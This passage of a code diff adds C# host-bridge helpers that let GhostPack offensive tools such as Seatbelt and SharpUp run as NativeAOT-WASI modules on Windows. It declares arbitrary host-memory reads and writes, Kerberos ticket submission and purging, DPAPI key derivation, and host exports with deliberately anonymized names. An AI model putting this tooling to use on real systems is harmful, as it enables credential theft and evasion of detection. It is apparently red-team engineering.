private static byte[] DerLength(int len)
{
if (len < 0x80) return new byte[] { (byte)len };
if (len <= 0xFF) return new byte[] { 0x81, (byte)len };
if (len <= 0xFFFF) return new byte[] { 0x82, (byte)(len >> 8), (byte)(len & 0xFF) };
return new byte[] { 0x83, (byte)((len >> 16) & 0xFF), (byte)((len >> 8) & 0xFF), (byte)(len & 0xFF) };
}
private static byte[] Concat(params byte[][] parts)
{
int total = 0;
foreach (var p in parts) total += p.Length;
byte[] result = new byte[total];
int offset = 0;
foreach (var p in parts)
{
Buffer.BlockCopy(p, 0, result, offset, p.Length);
offset += p.Length;
}
return result;
}
}
}
+432
View File
@@ -0,0 +1,432 @@
// WfFs.cs — managed filesystem helpers backed by wasmforge host functions.
//
// .NET's System.IO.Directory.GetDirectories / Environment.GetEnvironmentVariable
// don't behave correctly under WASI on Windows hosts: SystemDrive returns
// empty, paths get re-mapped through WASI preopens, and Directory.Enumerate
// aborts on missing preopens. Routing through fs_listdir / fs_exists
// sidesteps the WASI path machinery entirely — the host receives a Windows
// path string and uses native ReadDirectoryChanges / GetFileAttributes.
//
// Host wire format for fs_listdir (matches sys_listdir in nativeaot.go):
// path_ptr, path_len → bytes representing the host path (Windows-style OK)
// buf_ptr, buf_cap → caller-allocated buffer for null-separated names
// count_ptr → out-parameter, host writes number of names written
// returns: total bytes written (not counting trailing nulls)
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfFs
{
[DllImport("env", EntryPoint = "fs_listdir")]
private static extern uint fs_listdir(uint pathPtr, uint pathLen,
uint bufPtr, uint bufCap, uint countPtr);
[DllImport("env", EntryPoint = "fs_exists")]
private static extern uint fs_exists(uint pathPtr, uint pathLen);
public static bool Exists(string path)
{
if (string.IsNullOrEmpty(path)) return false;
byte[] pb = Encoding.UTF8.GetBytes(path);
fixed (byte* pp = pb)
{
return fs_exists((uint)(IntPtr)pp, (uint)pb.Length) != 0;
}
}
public static string[] ListDirectory(string path)
{
return List(path, includeFiles: true, includeDirs: true);
}
public static string[] ListDirectoriesOnly(string path)
{
// The host returns mixed entries; we can't tell types apart from
// the wire format alone, so return everything and let the caller
// filter. Most Seatbelt code only walks subdir names anyway.
return List(path, includeFiles: true, includeDirs: true);
}
// Mirrors Directory.GetDirectories(string path, string searchPattern)
// — patcher rewrites it here. Pattern matching is delegated to the
// existing glob matcher used by FindFiles (* and ? wildcards).
public static string[] ListDirectoriesOnly(string path, string searchPattern)
{
var all = ListDirectoriesOnly(path);
if (string.IsNullOrEmpty(searchPattern) || searchPattern == "*") return all;
var matched = new List<string>(all.Length);
foreach (var p in all)
{
string name = p;
int slash = name.LastIndexOfAny(new[] { '\\', '/' });
if (slash >= 0) name = name.Substring(slash + 1);
if (GlobMatch(name, searchPattern)) matched.Add(p);
}
return matched.ToArray();
}
// Minimal glob matcher: * matches 0+ chars, ? matches one. Used by
// the searchPattern parameter on ListDirectoriesOnly. Pattern matching
// is case-insensitive to align with Win32 FindFirstFileW semantics.
private static bool GlobMatch(string name, string pattern)
{
int ni = 0, pi = 0, niStar = -1, piStar = -1;
string n = name.ToLowerInvariant();
string p = pattern.ToLowerInvariant();
while (ni < n.Length)
{
if (pi < p.Length && (p[pi] == '?' || p[pi] == n[ni])) { ni++; pi++; }
else if (pi < p.Length && p[pi] == '*') { piStar = pi++; niStar = ni; }
else if (piStar != -1) { pi = piStar + 1; ni = ++niStar; }
else return false;
}
while (pi < p.Length && p[pi] == '*') pi++;
return pi == p.Length;
}
private static string[] List(string path, bool includeFiles, bool includeDirs)
{
if (string.IsNullOrEmpty(path)) return Array.Empty<string>();
byte[] pb = Encoding.UTF8.GetBytes(path);
byte[] buf = new byte[64 * 1024];
uint count = 0;
uint written;
fixed (byte* pp = pb)
fixed (byte* bp = buf)
{
written = fs_listdir(
(uint)(IntPtr)pp, (uint)pb.Length,
(uint)(IntPtr)bp, (uint)buf.Length,
(uint)(IntPtr)(&count));
}
if (written == 0 || count == 0) return Array.Empty<string>();
// Parse null-separated names.
var result = new List<string>((int)count);
int start = 0;
int max = (int)Math.Min(written, (uint)buf.Length);
for (int i = 0; i < max; i++)
{
if (buf[i] != 0) continue;
if (i > start)
result.Add(Encoding.UTF8.GetString(buf, start, i - start));
start = i + 1;
}
// Return full paths (the host gives just names; prepend the
// input path with a trailing separator).
string baseDir = path.TrimEnd('\\', '/');
char sep = path.Contains('\\') ? '\\' : '/';
for (int i = 0; i < result.Count; i++)
result[i] = baseDir + sep + result[i];
return result.ToArray();
}
// ReadAllBytes via Win32 CreateFileW/ReadFile path. The BCL's
// File.ReadAllBytes routes through WASI which prepends '/' to absolute
// Windows paths → DirectoryNotFoundException. This bypass uses the
// working Win32 file I/O bridge.
[DllImport("env", EntryPoint = "fs_read_all")]
private static extern int fs_read_all(uint pathPtr, uint pathLen,
uint bufPtr, uint bufCap, uint outLenPtr);
public static byte[] ReadAllBytes(string path)
{
if (string.IsNullOrEmpty(path)) return Array.Empty<byte>();
// Fast path: route through the io_op host dispatcher (one wf_call
// per file vs 6-8 in the legacy fs_read_all bridge chain).
// Per IoBench harness: ~46ms → <1ms per file.
byte[] tryOp = TryIoOpRead(path);
if (tryOp != null) return tryOp;
// Fallback: legacy WASM-side CreateFile+ReadFile chain.
byte[] pb = Encoding.UTF8.GetBytes(path);
uint outLen = 0;
int rc;
fixed (byte* pp = pb)
{
uint* op = &outLen;
rc = fs_read_all((uint)(IntPtr)pp, (uint)pb.Length, 0, 0, (uint)(IntPtr)op);
}
if (rc < 0) throw new System.IO.FileNotFoundException("WfFs.ReadAllBytes(size,rc=" + rc + "): " + path);
if (outLen == 0) return Array.Empty<byte>();
byte[] buf = new byte[outLen];
uint dummy = 0;
fixed (byte* pp = pb)
{
fixed (byte* bp = buf)
{
uint* dp = &dummy;
rc = fs_read_all((uint)(IntPtr)pp, (uint)pb.Length, (uint)(IntPtr)bp, outLen, (uint)(IntPtr)dp);
}
}
if (rc < 0) throw new System.IO.FileNotFoundException("WfFs.ReadAllBytes(data,rc=" + rc + "): " + path);
return buf;
}
// TryIoOpRead — fast path via the io_op host dispatcher. Stat-probe
// first to learn file size; then a single read into a perfectly-sized
// buffer. Returns null on any error so the legacy fallback runs.
private static byte[] TryIoOpRead(string path)
{
byte[] pathBytes = Encoding.UTF8.GetBytes(path);
byte[] args = new byte[4 + pathBytes.Length];
args[0] = (byte)(pathBytes.Length & 0xff);
args[1] = (byte)((pathBytes.Length >> 8) & 0xff);
args[2] = (byte)((pathBytes.Length >> 16) & 0xff);
args[3] = (byte)((pathBytes.Length >> 24) & 0xff);
Array.Copy(pathBytes, 0, args, 4, pathBytes.Length);
byte[] statOp = Encoding.ASCII.GetBytes("stat");
byte[] statOut = new byte[8];
uint statWritten;
fixed (byte* opPtr = statOp)
fixed (byte* argsPtr = args)
fixed (byte* outPtr = statOut)
{
statWritten = WasmForge.Bridge.WfHostBridge.IoOp(
opPtr, (uint)statOp.Length,
argsPtr, (uint)args.Length,
outPtr, (uint)statOut.Length);
}
if (statWritten != 8) return null;
uint size = (uint)statOut[0] | ((uint)statOut[1] << 8) | ((uint)statOut[2] << 16) | ((uint)statOut[3] << 24);
uint exists = (uint)statOut[4];
if (exists == 0) return null;
if (size == 0) return Array.Empty<byte>();
byte[] readOp = Encoding.ASCII.GetBytes("read");
byte[] result = new byte[size];
uint readWritten;
fixed (byte* opPtr = readOp)
fixed (byte* argsPtr = args)
fixed (byte* outPtr = result)
{
readWritten = WasmForge.Bridge.WfHostBridge.IoOp(
opPtr, (uint)readOp.Length,
argsPtr, (uint)args.Length,
outPtr, (uint)result.Length);
}
if (readWritten != size) return null;
return result;
}
// ReadAllText: UTF-8 decode the bytes returned by ReadAllBytes. Same
// rationale — bypasses WASI path mapping (which can't see Windows
// drives) by going directly through the fs_read_all host bridge.
public static string ReadAllText(string path)
{
byte[] bytes = ReadAllBytes(path);
if (bytes.Length == 0) return string.Empty;
// Strip BOM if present (Chromium Bookmarks files are UTF-8, no BOM,
// but Slack/OneNote configs may have one).
int offset = 0;
if (bytes.Length >= 3 && bytes[0] == 0xEF && bytes[1] == 0xBB && bytes[2] == 0xBF)
offset = 3;
return Encoding.UTF8.GetString(bytes, offset, bytes.Length - offset);
}
// ── FindFiles ─────────────────────────────────────────────────
//
// One-shot recursive filesystem search. The host env import does the
// entire walk natively (Go filepath.WalkDir) — single WASM↔host
// crossing for the whole tree traversal vs the per-directory crossings
// a WASM-side fs_listdir loop would incur. Same architecture as
// mod_load / mod_invoke / mod_resolve.
//
// [WasmImportLinkage] tells NativeAOT-LLVM to emit a WASM import for
// this DllImport instead of routing through DirectPInvoke. The host's
// env module provides the matching export — see
// internal/hostmod/win32.go and internal/hostmod/win32_windows_file.go.
//
// Returns full absolute paths. Empty list on any error / cap hit.
[System.Runtime.InteropServices.WasmImportLinkage]
[DllImport("env", EntryPoint = "fs_findfiles")]
private static extern int fs_findfiles(
uint rootPtr, uint rootLen,
uint patternPtr, uint patternLen,
int maxDepth, int maxMatches,
uint bufPtr, uint bufCap, uint countPtr);
public static System.Collections.Generic.List<string> FindFiles(
string root, string filenamePattern,
int maxDepth = 4, int maxMatches = 64)
{
var results = new System.Collections.Generic.List<string>();
if (string.IsNullOrEmpty(root) || string.IsNullOrEmpty(filenamePattern))
return results;
byte[] rb = Encoding.UTF8.GetBytes(root);
byte[] pb = Encoding.UTF8.GetBytes(filenamePattern);
byte[] buf = new byte[256 * 1024]; // 256KB — fits ~3000 typical paths
uint count = 0;
int written;
fixed (byte* rp = rb)
fixed (byte* pp = pb)
fixed (byte* bp = buf)
{
written = fs_findfiles(
(uint)(IntPtr)rp, (uint)rb.Length,
(uint)(IntPtr)pp, (uint)pb.Length,
maxDepth, maxMatches,
(uint)(IntPtr)bp, (uint)buf.Length,
(uint)(IntPtr)(&count));
}
if (written <= 0 || count == 0) return results;
// Parse null-separated full paths from host buffer.
int start = 0;
int max = Math.Min(written, buf.Length);
for (int i = 0; i < max && results.Count < maxMatches; i++)
{
if (buf[i] != 0) continue;
if (i > start)
results.Add(Encoding.UTF8.GetString(buf, start, i - start));
start = i + 1;
}
return results;
}
// ── GlobFiles ──────────────────────────────────────────────────
//
// Non-recursive equivalent of Directory.GetFiles(path, pattern,
// SearchOption.TopDirectoryOnly). Routes through fs_findfiles with
// maxDepth=0 so the host only looks at the top directory.
// Returns a string[] matching the BCL API expected by SharpUp's
// FileUtils.FindFiles.
public static string[] GlobFiles(string path, string pattern)
{
if (string.IsNullOrEmpty(path) || string.IsNullOrEmpty(pattern))
return Array.Empty<string>();
var list = FindFiles(path, pattern, maxDepth: 0, maxMatches: 512);
return list.ToArray();
}
// Mirrors Directory.GetFiles(string path) — patcher rewrites it here.
public static string[] GlobFiles(string path)
{
return GlobFiles(path, "*");
}
// Mirrors Directory.GetFiles(string path, string pattern, SearchOption).
// AllDirectories is bounded conservatively (depth=4, maxMatches=1024)
// because each level costs a host round-trip via os_list_dir; the
// typical GhostPack consumer (SharpUp FileUtils.FindFiles) does its
// own recursion through ListDirectoriesOnly, so this overload only
// fires when the caller explicitly asks for AllDirectories.
public static string[] GlobFiles(string path, string pattern, System.IO.SearchOption searchOption)
{
if (searchOption == System.IO.SearchOption.AllDirectories)
{
if (string.IsNullOrEmpty(path) || string.IsNullOrEmpty(pattern))
return Array.Empty<string>();
var list = FindFiles(path, pattern, maxDepth: 4, maxMatches: 1024);
return list.ToArray();
}
return GlobFiles(path, pattern);
}
// ── IsModifiable ───────────────────────────────────────────────
//
// Returns true if the calling process can write to path.
// Replaces SharpUp's FileUtils.CheckModifiableAccess, which uses
// WindowsIdentity.GetCurrent() + ACL enumeration — neither
// available in NativeAOT-WASI.
//
// Implementation: open path (or its parent dir) with GENERIC_WRITE
// and FILE_SHARE_READ|FILE_SHARE_WRITE via kernel32!CreateFileW,
// then close the handle. If CreateFileW returns INVALID_HANDLE_VALUE
// (0xFFFFFFFF) the path is not writable.
//
// For paths that don't exist yet we probe the parent directory.
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint _fs_mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint _fs_mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong _fs_mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
private static uint _fsKernel32;
private static uint _hCreateFileW;
private static uint _hCloseHandle;
private static uint FsResolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = _fs_mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = _fs_mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static uint FsInvoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0)
{
ulong ret1 = 0, err = 0;
ulong r0 = _fs_mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
return (uint)r0;
}
public static bool IsModifiable(string path)
{
if (string.IsNullOrEmpty(path)) return false;
// Probe the path itself; if it doesn't exist, fall back to parent.
string probePath = path;
if (!Exists(path))
{
string parent = System.IO.Path.GetDirectoryName(path);
if (string.IsNullOrEmpty(parent)) return false;
probePath = parent;
}
uint hCF = FsResolve("kernel32.dll", ref _fsKernel32, "CreateFileW", ref _hCreateFileW);
uint hCH = FsResolve("kernel32.dll", ref _fsKernel32, "CloseHandle", ref _hCloseHandle);
if (hCF == 0 || hCH == 0) return false;
// Encode path as UTF-16LE + null terminator for the host.
byte[] wb = Encoding.Unicode.GetBytes(probePath + "\0");
fixed (byte* wp = wb)
{
// CreateFileW(lpFileName, GENERIC_WRITE=0x40000000,
// FILE_SHARE_READ|FILE_SHARE_WRITE=3,
// lpSecurityAttributes=NULL,
// OPEN_EXISTING=3,
// FILE_FLAG_BACKUP_SEMANTICS=0x02000000 (needed for dirs),
// hTemplateFile=NULL)
uint handle = FsInvoke(hCF, 7,
(ulong)(uint)(IntPtr)wp, // lpFileName
0x40000000, // GENERIC_WRITE
3, // FILE_SHARE_READ | FILE_SHARE_WRITE
0, // lpSecurityAttributes
3, // OPEN_EXISTING
0x02000000, // FILE_FLAG_BACKUP_SEMANTICS
0); // hTemplateFile
if (handle == 0 || handle == 0xFFFFFFFF) return false;
FsInvoke(hCH, 1, handle);
return true;
}
}
}
}
+185
View File
@@ -0,0 +1,185 @@
// WfHost.cs — Safe host-memory dereference helpers for NativeAOT-WASI.
//
// Wraps the WasmForge host-memory primitives exposed by
// internal/hostmod/win32_windows_memory.go and registered under the
// anonymized names "mod_hread" (read arbitrary host memory),
// "mem_alloc"/"mem_free" (VirtualAlloc/VirtualFree), "mem_write"/"mem_read"
// (copy bytes), "mem_write32"/"mem_write64" (scalar writes), and
// "mem_addr" (resolve handle → real host address).
//
// Two use cases:
// 1. ReadHostBytes / ReadHostUInt32 — read arbitrary host-process
// memory via mod_hread (used by mirrored COM pointer chains).
// 2. HostAlloc / HostWrite / HostRead / GetHostAddress / HostFree —
// allocate a contiguous host-side buffer that the caller can
// pass as a real host pointer to wf_call (so the host's
// ptr-translation skips it — see internal/hostmod/
// win32_windows_dll.go's `wasmVal >= wasmMemSize` short-circuit).
// Used by WfSspi to build SecBufferDesc + SecBuffer[] arrays in
// host memory so that secur32!InitializeSecurityContextW
// receives a valid nested struct chain.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfHost
{
// ── Read arbitrary host memory (pre-existing) ──
[DllImport("env", EntryPoint = "mod_hread")]
internal static extern uint NativeReadBytes(ulong hostAddr, uint len, void* outBuf);
public static uint ReadHostUInt32(ulong hostAddr, uint offsetBytes)
{
uint value = 0;
uint rc = NativeReadBytes(hostAddr + offsetBytes, 4, &value);
if (rc != 0) throw new AccessViolationException(
$"wf_host_read_bytes failed: errno {rc}");
return value;
}
public static byte[] ReadHostBytes(ulong hostAddr, uint len)
{
if (len == 0) return Array.Empty<byte>();
byte[] buf = new byte[len];
fixed (byte* p = buf)
{
uint rc = NativeReadBytes(hostAddr, len, p);
if (rc != 0) throw new AccessViolationException(
$"wf_host_read_bytes failed: errno {rc}");
}
return buf;
}
// ── Host-side allocation (for nested-pointer Win32 chains) ──
// win32_virtual_alloc: size, alloc_type, protect, handle_ptr → errno
[DllImport("env", EntryPoint = "mem_alloc")]
private static extern uint NativeMemAlloc(uint size, uint allocType, uint protect, uint handlePtr);
// win32_virtual_free: handle → errno
[DllImport("env", EntryPoint = "mem_free")]
private static extern uint NativeMemFree(int handle);
// win32_hmem_write: handle, offset, data_ptr, data_len → errno
[DllImport("env", EntryPoint = "mem_write")]
private static extern uint NativeMemWrite(int handle, uint offset, void* dataPtr, uint dataLen);
// win32_hmem_read: handle, offset, buf_ptr, buf_len → errno
[DllImport("env", EntryPoint = "mem_read")]
private static extern uint NativeMemRead(int handle, uint offset, void* bufPtr, uint bufLen);
// win32_hmem_write32: handle, offset, value → errno
[DllImport("env", EntryPoint = "mem_write32")]
private static extern uint NativeMemWrite32(int handle, uint offset, uint value);
// win32_hmem_write64: handle, offset, value_ptr → errno
// (value is passed by pointer because i64 args under wasm32 are awkward)
[DllImport("env", EntryPoint = "mem_write64")]
private static extern uint NativeMemWrite64(int handle, uint offset, uint valuePtr);
// win32_hmem_addr: handle, addr_ptr → errno (host addr written to addr_ptr as i64)
[DllImport("env", EntryPoint = "mem_addr")]
private static extern uint NativeMemAddr(int handle, uint addrPtr);
private const uint MEM_COMMIT_RESERVE = 0x3000;
private const uint PAGE_READWRITE = 0x4;
/// <summary>
/// HostAlloc — allocate a host-side buffer of `size` bytes and
/// return an opaque handle (NOT a host address). Use
/// GetHostAddress to retrieve the actual host pointer for
/// passing to wf_call.
/// </summary>
public static int HostAlloc(int size)
{
int handle = 0;
// Local variables are stable on the stack — no `fixed` block
// needed, just &handle directly.
int* hp = &handle;
uint rc = NativeMemAlloc((uint)size, MEM_COMMIT_RESERVE, PAGE_READWRITE,
(uint)(IntPtr)hp);
if (rc != 0 || handle == 0)
throw new InvalidOperationException(
$"WfHost.HostAlloc({size}) failed: errno {rc}");
return handle;
}
/// <summary>HostFree — release a previously-allocated host buffer.</summary>
public static void HostFree(int handle)
{
if (handle == 0) return;
NativeMemFree(handle);
}
/// <summary>HostWrite — copy `data` bytes into a host buffer at `offset`.</summary>
public static void HostWrite(int handle, uint offset, byte[] data)
{
if (data == null || data.Length == 0) return;
fixed (byte* p = data)
{
uint rc = NativeMemWrite(handle, offset, p, (uint)data.Length);
if (rc != 0)
throw new InvalidOperationException(
$"WfHost.HostWrite(handle={handle}, off={offset}, len={data.Length}) failed: errno {rc}");
}
}
/// <summary>HostWriteUInt32 — write a 4-byte uint at `offset`.</summary>
public static void HostWriteUInt32(int handle, uint offset, uint value)
{
uint rc = NativeMemWrite32(handle, offset, value);
if (rc != 0)
throw new InvalidOperationException(
$"WfHost.HostWriteUInt32 failed: errno {rc}");
}
/// <summary>
/// HostWriteUInt64 — write an 8-byte ulong at `offset`.
/// Used to write host pointers (e.g. SecBufferDesc.pBuffers).
/// </summary>
public static void HostWriteUInt64(int handle, uint offset, ulong value)
{
ulong v = value;
uint rc = NativeMemWrite64(handle, offset, (uint)(IntPtr)(&v));
if (rc != 0)
throw new InvalidOperationException(
$"WfHost.HostWriteUInt64 failed: errno {rc}");
}
/// <summary>HostRead — copy `length` bytes from a host buffer at `offset` into a managed byte[].</summary>
public static byte[] HostRead(int handle, uint offset, int length)
{
if (length <= 0) return Array.Empty<byte>();
byte[] buf = new byte[length];
fixed (byte* p = buf)
{
uint rc = NativeMemRead(handle, offset, p, (uint)length);
if (rc != 0)
throw new InvalidOperationException(
$"WfHost.HostRead(handle={handle}, off={offset}, len={length}) failed: errno {rc}");
}
return buf;
}
/// <summary>
/// GetHostAddress — return the real host-process address of a buffer
/// previously allocated via HostAlloc. Pass this value directly to
/// wf_call as an argument; the host-side pointer-translation skips
/// values >= wasmMemSize so a real host pointer passes through
/// unmodified.
/// </summary>
public static ulong GetHostAddress(int handle)
{
ulong addr = 0;
ulong* ap = &addr;
uint rc = NativeMemAddr(handle, (uint)(IntPtr)ap);
if (rc != 0)
throw new InvalidOperationException(
$"WfHost.GetHostAddress(handle={handle}) failed: errno {rc}");
return addr;
}
}
}
+574
View File
@@ -0,0 +1,574 @@
// WfHostBridge.cs — Core P/Invoke declarations for WasmForge NativeAOT-WASI host functions.
//
// These declarations map to the host functions registered in
// internal/hostmod/nativeaot.go (Go side). They are imported from the
// "env" WASM module via NativeAOT's static P/Invoke linking.
//
// Usage: Add this file to your .NET project before NativeAOT-WASI compilation.
// The [DllImport("*")] attribute tells NativeAOT to link against native C
// implementations (in wf_bridge.c / pinvoke_nativeaot.c) which call the
// WASM host imports.
//
// For direct host functions (SDDL, WMI, LSA), [DllImport("env")] is used
// to import directly from the WASM host module without going through the
// C bridge. These are the anonymized export names from internal/names/names.go.
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Bridge
{
/// <summary>
/// Direct imports of WasmForge NativeAOT host functions.
/// These bypass the SyscallN path — complex operations run atomically on the host.
/// </summary>
public static unsafe class WfHostBridge
{
// ── Constants ────────────────────────────────────────────────
/// <summary>Maximum output buffer size for host function calls.</summary>
public const int DefaultBufSize = 256 * 1024; // 256 KB
/// <summary>Small buffer for single-value returns.</summary>
public const int SmallBufSize = 8192; // 8 KB
// ── SDDL ────────────────────────────────────────────────────
/// <summary>
/// Parse an SDDL string into ACE entries with translated account names.
/// Returns null-separated "account\tSID\taccess_type" lines.
/// </summary>
[DllImport("env", EntryPoint = "sec_parsesddl")]
public static extern uint ParseSddlAcl(
byte* sddlPtr, uint sddlLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Get the SDDL string for a file/directory path.
/// Returns UTF-16 chars written.
/// </summary>
[DllImport("env", EntryPoint = "sec_sddl")]
public static extern uint GetSddl(
byte* pathPtr,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Get the SDDL string for a file or service by SE_OBJECT_TYPE.
/// objectType: 1 = SE_FILE_OBJECT, 5 = SE_SERVICE_OBJECT.
/// Returns UTF-8 chars written.
/// </summary>
[DllImport("env", EntryPoint = "sec_sddl_typed")]
public static extern uint GetPathSddlTyped(byte* pathPtr, uint objectType, byte* outBufPtr, uint outBufLen);
// ── Security Enumeration ────────────────────────────────────
/// <summary>
/// Enumerate accounts with each user right assignment.
/// Returns null-separated "Right\tSID" lines.
/// </summary>
[DllImport("env", EntryPoint = "sec_enumrights")]
public static extern uint EnumUserRights(byte* outBufPtr, uint outBufLen);
/// <summary>
/// Enumerate all logon sessions.
/// Returns tab-separated "field\tvalue\n" records.
/// </summary>
[DllImport("*", EntryPoint = "WfEnumLogonSessions")]
public static extern uint EnumLogonSessions(byte* outBufPtr, uint outBufLen);
/// <summary>
/// Enumerate RPC mapped endpoints.
/// Returns null-separated "Protocol\tEndpoint\tAnnotation\tUUID" lines.
/// </summary>
[DllImport("env", EntryPoint = "rpc_enumeps")]
public static extern uint EnumRpcEndpoints(byte* outBufPtr, uint outBufLen);
// ── WMI ─────────────────────────────────────────────────────
/// <summary>
/// Execute a WQL query via native COM WMI.
/// Returns JSON results.
/// </summary>
[DllImport("env", EntryPoint = "wmi_query")]
public static extern uint WmiQuery(
byte* queryPtr, uint queryLen,
byte* nsPtr, uint nsLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Invoke a WMI method (IWbemServices::ExecMethod) on a class with
/// JSON-serialized input parameters. Returns JSON of the output
/// parameters (e.g., {"ReturnValue":0,"ProcessId":1234}).
/// </summary>
[DllImport("env", EntryPoint = "wmi_method")]
public static extern uint WmiMethod(
byte* nsPtr, uint nsLen,
byte* classPtr, uint classLen,
byte* methodPtr, uint methodLen,
byte* inJsonPtr, uint inJsonLen,
byte* outBufPtr, uint outBufLen);
// ── Filesystem ──────────────────────────────────────────────
/// <summary>
/// List directory contents on the host (bypasses WASI path mapping).
/// </summary>
[DllImport("env", EntryPoint = "sys_listdir")]
public static extern uint ListDir(
byte* pathPtr, uint pathLen,
byte* bufPtr, uint bufCap, uint* countPtr);
/// <summary>
/// Check if a file exists on the host (bypasses WASI path mapping).
/// </summary>
[DllImport("env", EntryPoint = "sys_fileexists")]
public static extern uint FileExists(byte* pathPtr, uint pathLen);
// ── Network ─────────────────────────────────────────────────
/// <summary>
/// Enumerate network adapters.
/// Returns "index\tname\tdescription\tip_list\n" lines.
/// </summary>
[DllImport("env", EntryPoint = "net_adapters")]
public static extern uint EnumNetworkAdapters(byte* outBufPtr, uint outBufLen);
// ── PE / Registry ───────────────────────────────────────────
/// <summary>
/// Get the CompanyName from a PE file's VERSIONINFO resource.
/// </summary>
[DllImport("env", EntryPoint = "ver_info")]
public static extern uint GetFileVersionInfo(
byte* pathPtr, uint pathLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Enumerate all values under a registry key.
/// Returns null-separated "name\ttype\tdata" lines.
/// </summary>
[DllImport("env", EntryPoint = "reg_enumvals")]
public static extern uint EnumRegValues(
uint* hivePtr,
byte* keyPathPtr, uint keyPathLen,
byte* outBufPtr, uint outBufLen);
// ── LSA Kerberos ────────────────────────────────────────────
/// <summary>
/// Execute an LSA Kerberos operation atomically on the host.
/// Operations: "enumerate_tickets", "retrieve_ticket\tSERVER",
/// "purge_tickets[\tSERVER\tREALM]",
/// "submit_ticket\tBASE64_KIRBI"
/// Returns tab-separated "field\tvalue\n" records.
/// </summary>
[DllImport("*", EntryPoint = "WfLsaKerberosOp")]
public static extern uint LsaKerberosOp(
byte* opPtr, uint opLen,
uint luidLow, uint luidHigh,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Generic crypto dispatcher: one host import handles all looped-crypto
/// operations (MS-PBKDF2, RFC PBKDF2, HMAC, plain hash, AES-CBC).
/// Opcode is short ASCII (e.g., "mspbkdf2_512", "sha256", "aescbcdec");
/// args is a packed buffer of length-prefixed byte fields. See
/// CryptoHostHelper.CryptoOp for the high-level C# entry point.
/// </summary>
[DllImport("*", EntryPoint = "WfCryptoOp")]
public static extern uint CryptoOp(
byte* opPtr, uint opLen,
byte* argsPtr, uint argsLen,
byte* outPtr, uint outCap);
/// <summary>
/// Generic IO dispatcher: one host import for file/dir operations.
/// Single wf_call replaces the 6-8 wf_call CreateFile+ReadFile chain
/// in fs_read_all. Opcode is "read", "stat", or "list"; args is a
/// single length-prefixed UTF-8 path field. See nativeaot_os.go
/// nativeaotIoOp for the dispatcher.
/// </summary>
[DllImport("*", EntryPoint = "WfIoOp")]
public static extern uint IoOp(
byte* opPtr, uint opLen,
byte* argsPtr, uint argsLen,
byte* outPtr, uint outCap);
// ── Kerberos Crypto ─────────────────────────────────────────
/// <summary>
/// Compute a Kerberos password hash via CDLocateCSystem on the host.
/// Returns hex-encoded hash bytes written to output buffer.
/// </summary>
[DllImport("*", EntryPoint = "WfKerberosHash")]
public static extern uint KerberosHash(
uint etype,
byte* passwordPtr, uint passwordLen,
byte* saltPtr, uint saltLen,
uint iterations,
byte* outBufPtr, uint outBufLen);
// ── Kerberos Encrypt/Decrypt/Checksum ────────────────────────
/// <summary>
/// Encrypt data using CDLocateCSystem on the host.
/// Returns raw encrypted bytes written to output buffer.
/// </summary>
[DllImport("*", EntryPoint = "WfKerberosEncrypt")]
public static extern uint KerberosEncrypt(
uint etype, uint keyUsage,
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Decrypt data using CDLocateCSystem on the host.
/// Returns raw decrypted bytes written to output buffer.
/// </summary>
[DllImport("*", EntryPoint = "WfKerberosDecrypt")]
public static extern uint KerberosDecrypt(
uint etype, uint keyUsage,
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>
/// Compute a Kerberos checksum using CDLocateCheckSum on the host.
/// Returns raw checksum bytes written to output buffer.
/// </summary>
[DllImport("*", EntryPoint = "WfKerberosChecksum")]
public static extern uint KerberosChecksum(
uint cksumType, uint keyUsage,
byte* keyPtr, uint keyLen,
byte* dataPtr, uint dataLen,
byte* outBufPtr, uint outBufLen);
/// <summary>PBKDF2-HMAC-SHA1 for DPAPI master key derivation.</summary>
[DllImport("*", EntryPoint = "WfPbkdf2Sha1")]
public static extern uint Pbkdf2Sha1(
byte* passwordPtr, uint passwordLen,
byte* saltPtr, uint saltLen,
uint iterations, uint keyLen,
byte* outBufPtr, uint outBufLen);
/// <summary>PBKDF2-HMAC-SHA256 for newer DPAPI master keys.</summary>
[DllImport("*", EntryPoint = "WfPbkdf2Sha256")]
public static extern uint Pbkdf2Sha256(
byte* passwordPtr, uint passwordLen,
byte* saltPtr, uint saltLen,
uint iterations, uint keyLen,
byte* outBufPtr, uint outBufLen);
/// <summary>PBKDF2-HMAC-SHA512 for AES-256 DPAPI master keys.</summary>
[DllImport("*", EntryPoint = "WfPbkdf2Sha512")]
public static extern uint Pbkdf2Sha512(
byte* passwordPtr, uint passwordLen,
